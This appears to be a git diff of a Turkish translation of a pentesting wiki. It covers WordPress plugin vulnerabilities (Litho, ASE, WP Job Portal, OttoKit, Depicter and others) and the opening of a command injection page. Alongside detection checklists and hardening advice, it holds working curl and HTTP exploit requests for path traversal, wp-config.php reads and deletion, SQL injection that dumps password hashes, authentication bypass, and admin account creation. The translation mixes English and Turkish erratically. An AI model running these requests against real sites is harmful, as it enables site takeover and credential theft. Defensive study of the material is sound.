ayrıca şu kontrolleri uygulamalıdır: -1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and -2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and -3. **Strict input sanitisation / validation**. +1. Bir **capability kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve +2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve +3. **Sıkı input sanitizasyonu / doğrulama**. -The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): +Litho multipurpose tema (< 3.1), *Remove Font Family* özelliğinde bu 3 kontrolü unutmuş ve sonuç olarak aşağıdaki (basitleştirilmiş) kodu göndermiştir: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,37 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Bu kod parçasının ortaya çıkardığı sorunlar: +Issues introduced by this snippet: -* **Kimlik doğrulamasız erişim** – `wp_ajax_nopriv_` hook kayıtlı. -* **No nonce / capability check** – herhangi bir ziyaretçi endpoint'e istek gönderebilir. -* **No path sanitisation** – kullanıcı kontrollü `fontfamily` string'i filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik `../../` traversal'a izin veriyor. +* **Kimlik doğrulanmamış erişim** – the `wp_ajax_nopriv_` hook is registered. +* **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'e erişebilir. +* **Yol sanitisationu yok** – kullanıcı kontrollü `fontfamily` stringi filtrelenmeden bir dosya sistemi yoluna birleştiriliyor, klasik `../../` traversal'a izin veriyor. #### İstismar -Bir saldırgan tek bir HTTP POST isteği göndererek **uploads temel dizininin altındaki** (normalde `/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir: +Bir saldırgan tek bir HTTP POST isteği göndererek **yüklemeler temel dizininin altındaki** (genellikle `/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Çünkü `wp-config.php` *uploads*'un dışında bulunduğundan, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı*'na sokar ve tam site ele geçirmeye olanak sağlar (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin kullanıcı oluşturur). +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Diğer etkili hedefler plugin/theme `.php` dosyaları (güvenlik eklentilerini kırmak için) veya `.htaccess` kurallarıdır. +Diğer etkili hedefler arasında plugin/theme `.php` dosyaları (güvenlik plugin'lerini bozmak için) veya `.htaccess` kuralları bulunur. -#### Tespit kontrol listesi +#### Detection checklist -* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()` vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i. -* Path'lere temizlenmemiş kullanıcı girdisinin eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`). -* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` yokluğu. +* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i. +* Kullanıcı girdisinin temizlenmeden yollarla birleştirilmesi (bakılacaklar: `$_POST`, `$_GET`, `$_REQUEST`). +* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()`'in yokluğu. --- -### Yetki yükseltme: eskimiş rol geri yükleme ve yetkilendirme eksikliği (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Birçok eklenti, orijinal rol(leri) user meta'da saklayıp daha sonra geri yükleyebilmek için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca istek parametrelerine (örn. `$_REQUEST['reset-for']`) ve eklentinin tuttuğu bir listeye dayanıyor, capability kontrolleri ve geçerli bir nonce doğrulaması yoksa bu dikey yetki yükseltmesine dönüşür. +Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. -Gerçek dünyadan bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde yer alıyorsa `reset-for=` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles`'den kaydedilmiş rolleri tekrar eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yapıyordu: +A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Neden sömürülebilir +Neden istismar edilebilir - Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir eklenti seçeneğine güvenir. -- Eğer bir kullanıcı daha önce yüksek ayrıcalıklarını `_asenha_view_admin_as_original_roles` içinde kaydetmişse ve daha sonra yetkileri düşürülmüşse, sıfırlama yoluna erişerek bunları geri alabilir. -- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için sıfırlamayı tetikleyebilir (yetkilendirme hatası). +- Eğer bir kullanıcının daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıkları kaydedilmişse ve sonra yetkileri düşürülmüşse, reset yolunu tetikleyerek bunları geri getirebilir. +- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı, `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için reset tetikleyebilir (bozuk yetkilendirme). İstismar (örnek) ```bash @@ -493,23 +493,23 @@ Neden sömürülebilir curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) tekrar ekler; bu da etkili şekilde ayrıcalıkları yükseltir. +Zayıf yapılandırmalarda bu mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) yeniden ekler; bu da etkin olarak ayrıcalık yükseltmeye yol açar. Detection checklist -- Kullanıcı meta alanında “original roles”i saklayan rol‑değiştirme özelliklerini ara (ör. `_asenha_view_admin_as_original_roles`). -- Şu tür sıfırlama/geri yükleme yollarını belirle: -- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan. -- Rolleri `add_role()` / `remove_role()` ile, `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan değiştiren. -- Yetkilendirmeyi, işlemi yapan kullanıcının yetenekleri yerine bir eklenti seçenek dizisine (ör. `viewing_admin_as_role_are`) dayandıran. +- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`). +- Identify reset/restore paths that: +- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan. +- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile rolleri değiştiren. +- Yetkilendirmeyi aktörün capabilities yerine bir plugin option dizisine (ör. `viewing_admin_as_role_are`) dayandıran. --- -### Kimlik doğrulaması olmayan ayrıcalık yükseltmesi via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Kamusal init üzerinde çerez-tabanlı kullanıcı değiştirme ile kimlik doğrulanmamış ayrıcalık yükseltmesi (Service Finder “sf-booking”) -Bazı eklentiler user‑switching yardımcılarını public `init` hook'una bağlar ve kimliği istemci kontrollü bir çerezden türetir. Eğer kod `wp_set_auth_cookie()`'u kimlik doğrulamasını, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimliği doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak zorla oturum açtırabilir. +Bazı pluginler user-switching yardımcılarını public `init` hook'una bağlar ve kimliği client tarafından kontrol edilen bir çerezden türetir. Eğer kod `wp_set_auth_cookie()`'i kimlik doğrulamayı, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak oturum açmayı zorlayabilir. -Tipik savunmasız desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş): +Tipik zafiyetli desen (Service Finder Bookings ≤ 6.1'den sadeleştirilmiş): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,9 +540,9 @@ wp_die('No original user found to switch back to.'); ``` Neden istismar edilebilir -- Herkese açık `init` hook, handler'ın kimlik doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (`is_user_logged_in()` koruması yok). -- Kimlik, istemci tarafından değiştirilebilen bir cookie olan `original_user_id` değerinden türetilir. -- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır. +- Genel `init` hook, işleyiciyi kimlik doğrulanmamış kullanıcıların erişimine açar (hiçbir `is_user_logged_in()` koruması yok). +- Kimlik, istemci tarafından değiştirilebilen bir çerezden (`original_user_id`) türetilir. +- `wp_set_auth_cookie($uid)`'nin doğrudan çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır. İstismar (kimlik doğrulanmamış) ```http @@ -553,32 +553,33 @@ User-Agent: PoC Connection: close ``` --- -### WordPress/plugin CVE'leri için WAF hususları -Genel edge/server WAF'ları geniş desenler (SQLi, XSS, LFI) için ayarlanmıştır. Birçok yüksek etkili WordPress/plugin açığı, uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress yollarını ve plugin semantiklerini anlamadıkça zararsız trafik gibi görünür. +### WordPress/plugin CVEs için WAF ile ilgili hususlar + +Genel edge/server WAF'ları geniş desenlere göre ayarlanmıştır (SQLi, XSS, LFI). Birçok yüksek etkili WordPress/plugin zafiyeti, motor WordPress rotalarını ve plugin semantics'ini anlamadığı sürece zararsız trafik gibi görünen uygulamaya-özgü mantık/auth hatalarıdır. Saldırı notları -- Plugin'e özgü endpoint'leri temiz payloadlarla hedefleyin: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Önce kimlik doğrulama gerektirmeyen yolları test edin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payloadlar genellikle obfuscation olmadan başarılı olur. -- Tipik yüksek etkili durumlar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Temiz payload'larla plugin-özgü endpoint'leri hedefleyin: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Önce unauth yollarını test edin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payload'lar genellikle obfuscation olmadan başarılı olur. +- Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Savunma notları -- Plugin CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama katmanı, açığa özgü sanal yamalar uygulayın veya hızlıca güncelleyin. -- Kodda negatif regex filtreleri yerine pozitif güvenlik kontrollerini tercih edin (capabilities, nonces, strict input validation). +- Plugin CVEs'i korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patch'ler uygulayın veya hızlıca güncelleyin. +- Kodda negative regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation). ## WordPress Koruması ### Düzenli Güncellemeler -WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php içinde otomatik güncellemelerin etkinleştirildiğini doğrulayın: +WordPress, plugins ve themes'in güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php içinde etkinleştirildiğini doğrulayın: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ayrıca, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**. +Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**. ### Güvenlik Eklentileri @@ -591,13 +592,13 @@ Ayrıca, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin** - Varsayılan **admin** kullanıcısını kaldırın - **Güçlü parolalar** ve **2FA** kullanın - Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** -- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlandırın** -- **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin. +- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlayın** +- **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca iç ağdan veya belirli IP adreslerinden izin verin. -### Yetersiz doğrulama nedeniyle kimlik doğrulaması gerektirmeyen SQL Injection (WP Job Portal <= 2.3.2) +### Kimlik doğrulama gerektirmeyen SQL Injection (yetersiz doğrulama nedeniyle) (WP Job Portal <= 2.3.2) -WP Job Portal recruitment plugin, en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki zafiyetli kodu çalıştıran **savecategory** görevini açığa çıkardı: +WP Job Portal işe alım eklentisi, sonuçta `modules/category/model.php::validateFormData()` içinde aşağıdaki savunmasız kodu çalıştıran **savecategory** görevini açığa çıkardı: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -607,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Bu kod parçasının yol açtığı problemler: +Issues introduced by this snippet: -1. **Temizlenmemiş kullanıcı girişi** – `parentid` doğrudan HTTP isteğinden geliyor. -2. **WHERE koşulu içinde string birleştirme** – `is_numeric()` / `esc_sql()` / prepared statement yok. -3. **Kimlik doğrulama gerektirmeyen erişilebilirlik** – action `admin-post.php` üzerinden çalıştırılsa da, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`), ki bu herhangi bir ziyaretçi tarafından kısa kodu `[wpjobportal_my_resumes]` içeren açık bir sayfadan alınabilir. +1. **Unsanitised user input** – `parentid` comes straight from the HTTP request. +2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`. #### İstismar -1. Yeni bir nonce al: +1. Taze bir nonce alın: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. `parentid`'i kötüye kullanarak keyfi SQL enjekte et: +2. `parentid`'i kötüye kullanarak rastgele SQL enjekte edin: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -627,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar. +The response discloses the result of the injected query or alters the database, proving SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Başka bir task, **downloadcustomfile**, ziyaretçilerin path traversal yoluyla diskteki **herhangi bir dosyayı** indirmesine izin veriyordu. Zayıf nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunuyor: +Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` saldırgan tarafından kontrol ediliyor ve **temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabiliyor. +`$file_name` attacker-controlled ve **temizlenmeden** birleştiriliyor. Tekrar, tek engel resume sayfasından alınabilecek bir **CSRF nonce**. -#### İstismar +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -649,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Sunucu `wp-config.php` içeriğiyle yanıt verir, leaking DB credentials ve auth keys. +Sunucu `wp-config.php` içeriği ile yanıt veriyor, leaking DB credentials and auth keys. ## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Birçok tema/eklenti, admin-ajax.php üzerinden erişilebilen "social login" yardımcıları ile gelir. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda istemci tarafından sağlanan tanımlayıcılara güvenip ardından wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür. +Birçok tema/eklentide admin-ajax.php üzerinden erişilebilen "social login" yardımcıları bulunur. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda client-supplied identifiers'a güvenip wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür. Tipik hatalı desen (basitleştirilmiş) ```php @@ -684,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -Neden sömürülebilir +Why it’s exploitable -- Kimlik doğrulanmamış erişim admin-ajax.php üzerinden (wp_ajax_nopriv_… action). +- Kimlik doğrulaması olmadan admin-ajax.php üzerinden erişim (wp_ajax_nopriv_… action). - Durum değişikliğinden önce nonce/capability kontrolleri yok. -- OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan branch saldırgan girdisini kabul ediyor. -- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) istekte bulunanı herhangi bir mevcut e-posta adresi olarak yetkilendiriyor. +- OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan dal saldırgan girdisini kabul ediyor. +- get_user_by('email', $_POST['id'])'in ardından wp_set_auth_cookie($uid) çağrısı, isteği yapanı mevcut herhangi bir e-posta adresi olarak doğrular. -İstismar (kimlik doğrulanmamış) +Exploitation (unauthenticated) -- Önkoşullar: saldırgan /wp-admin/admin-ajax.php adresine erişebiliyor ve geçerli bir kullanıcı e-postasını biliyor/tahmin ediyor. -- provider'ı desteklenmeyen bir değere ayarlayın (veya hiç göndermeyin) böylece varsayılan branch'e girilir ve id= gönderilir. +- Prerequisites: saldırgan /wp-admin/admin-ajax.php'ye erişebilmeli ve geçerli bir kullanıcı e-postasını bilmeli/tahmin edebilmeli. +- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -735,7 +736,7 @@ Patched behaviour (Jobmonster 4.8.0) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Bazı pluginler, çağıranın yeteneklerini doğrulamadan yeniden kullanılabilir “connection keys” veya tokenlar mint eden REST endpointleri açığa çıkarır. Eğer route sadece tahmin edilebilir bir özniteliğe göre (örn. username) authenticate ediyorsa ve key’i kullanıcı/oturum ile capability checks ile bağlamıyorsa, herhangi bir unauthenticated attacker bir key mint edebilir ve ayrıcalıklı işlemleri tetikleyebilir (admin hesap oluşturma, plugin actions → RCE). +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback @@ -755,31 +756,31 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Neden sömürülebilir -- Düşük entropili kimlik kanıtı (username) ile korunmuş veya permission_callback eksik olan hassas REST rota -- Yetki (capability) denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor +Neden istismar edilebilir +- Duyarlı REST rota yalnızca düşük-entropili kimlik kanıtı (username) ile korunuyor veya permission_callback eksik +- Yetki denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor Tespit kontrol listesi -- Eklenti kodunda şu ifadeyi grep edin: register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- İstemci tarafından sağlanan kimlik (username/email) temel alınarak token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya capability'ye bağlamayan herhangi bir rota -- Sunucu tarafı capability kontrolleri olmadan oluşturulan token/anahtarı kabul eden sonraki rotaları arayın +- Plugin kodunda register_rest_route(..., [ 'permission_callback' => '__return_true' ]) için grep yapın +- İstekle sağlanan kimliğe (username/email) dayalı token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya yetkiye bağlamayan herhangi bir rota +- Oluşturulan token/anahtarı sunucu tarafı yetki kontrolleri olmadan kabul eden sonraki rotaları arayın -Güçlendirme -- Herhangi bir ayrıcalıklı REST rota için: gerekli capability'i dayatan bir permission_callback gerektirin (current_user_can() kullanarak) -- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtarlar oluşturmayın; gerekiyorsa kimlik doğrulama sonrası kısa ömürlü, kullanıcıya bağlı token'lar verin ve kullanımda capability'leri yeniden kontrol edin +Sertleştirme +- Her ayrıcalıklı REST rotası için: gerekli yetkiyi current_user_can() ile denetleyen bir permission_callback zorunlu kılın +- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtar oluşturmayın; gerekirse, kimlik doğrulamadan sonra kısa ömürlü, kullanıcı-bağlı tokenlar verin ve kullanımda yetkileri yeniden kontrol edin - Çağıranın kullanıcı bağlamını doğrulayın (wp_set_current_user tek başına yeterli değildir) ve !is_user_logged_in() || !current_user_can() olan istekleri reddedin --- -## Nonce gate misuse → kimlik doğrulanmamış rastgele eklenti kurulumu (FunnelKit Automations ≤ 3.5.3) +## Nonce kapısı kötüye kullanımı → kimliği doğrulanmamış rastgele plugin kurulumu (FunnelKit Automations ≤ 3.5.3) -Nonces CSRF'i önler, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için capability kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zafiyetli bir eklenti yükleyerek RCE'ye ulaşabilir. +Nonces CSRF'i engeller, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için yetki kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zayıf bir plugin yükleyerek RCE'ye ulaşabilir. - Vulnerable path: plugin/install_and_activate -- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” -- Impact: full compromise via arbitrary plugin install/activation +- Hata: zayıf nonce hash kontrolü; nonce “passes” olduktan sonra current_user_can('install_plugins'|'activate_plugins') yok +- Etki: rastgele plugin kurulumu/aktivasyonu ile tam kontrol ele geçirilmesi -PoC (şekli eklentiye bağlıdır; sadece örnek amaçlı) +PoC (şekli plugin'e bağlıdır; yalnızca örnek amaçlı) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ @@ -796,13 +797,13 @@ Hardening --- -## Kimlik doğrulaması olmayan SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) -Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. +Birden fazla depicter-* action, s (search) parametresini aldı ve bunu parameterization olmadan SQL queries içine doğrudan birleştirdi. -- Parameter: s (search) -- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization -- Impact: database exfiltration (users, hashes), lateral movement +- Parametre: s (search) +- Hata: WHERE/LIKE ifadelerinde doğrudan string concatenation; prepared statements/sanitization yok +- Etki: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -812,33 +813,33 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Detection checklist -- Grep ile depicter-* action handlers'ı ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın -- $wpdb->get_results()/query()'e geçirilen ve s ile birleştirilen özel sorguları gözden geçirin +- depicter-* action handler'ları için grep yapın ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın +- s ile birleştirilen özel sorguları $wpdb->get_results()/query()'e geçirilenleri inceleyin Hardening -- $wpdb->prepare() veya wpdb placeholders'larını her zaman kullanın; beklenmeyen metakarakterleri sunucu tarafında reddedin -- s için sıkı bir allowlist ekleyin ve beklenen karakter seti/uzunluğa normalize edin +- Always use $wpdb->prepare() or wpdb placeholders; sunucu tarafında beklenmeyen metakarakterleri reddedin +- s için sıkı bir allowlist ekleyin ve beklenen charset/uzunluğa normalize edin --- -## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Kimlik doğrulamasız Local File Inclusion, doğrulanmamış template/file path aracılığıyla (Kubio AI Page Builder ≤ 2.5.1) -Bir template parametresinde normalizasyon/sınırlama uygulanmadan saldırgan kontrollü yolların kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları çalışma zamanına dahil edilirse bazen kod yürütülmesine yol açabilir. +Template parametresinde normalizasyon veya sınırlama olmadan saldırgan kontrollü path'lerin kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları runtime'a dahil edilirse bazen kod yürütmeye yol açabilir. - Parameter: __kubio-site-edit-iframe-classic-template - Flaw: normalizasyon/allowlisting yok; traversal'a izin veriliyor -- Impact: gizli bilgilerin ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP) +- Impact: gizli bilgi ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP) -PoC – wp-config.php oku +PoC – read wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` Tespit kontrol listesi -- Realpath() ile containment kontrolü olmadan istek yollarını include()/require()/read sink'lerine birleştiren herhangi bir işleyici -- Niyet edilen templates dizininin dışına çıkan traversal desenleri (../) arayın +- İstek yollarını include()/require()/read sinks içine realpath() containment olmadan birleştiren herhangi bir handler +- Amaçlanan templates dizininin dışına çıkan traversal desenleri (../) arayın Sertleştirme -- İzin verilen (allowlisted) şablonları zorlayın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) şartını uygulayın +- İzin verilen (allowlisted) templates'i zorunlu kılın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) gerektirin - Girdiyi normalize edin; traversal dizilerini ve mutlak yolları reddedin; sanitize_file_name()'ı yalnızca dosya adları için kullanın (tam yollar için değil) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index cd3a0132f..37a4c7df8 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## command Injection nedir? -Bir **command injection**, bir uygulamayı barındıran sunucuda saldırganın keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesini sağlar. +A **command injection**, bir uygulamayı barındıran sunucuda saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması tipik olarak saldırgana uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol sağlar. ### Bağlam -Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'` kullanarak) gerekebilir. +**Girdinizin nerede enjekte edildiğine bağlı olarak** komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'` kullanarak) gerekebilir. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ 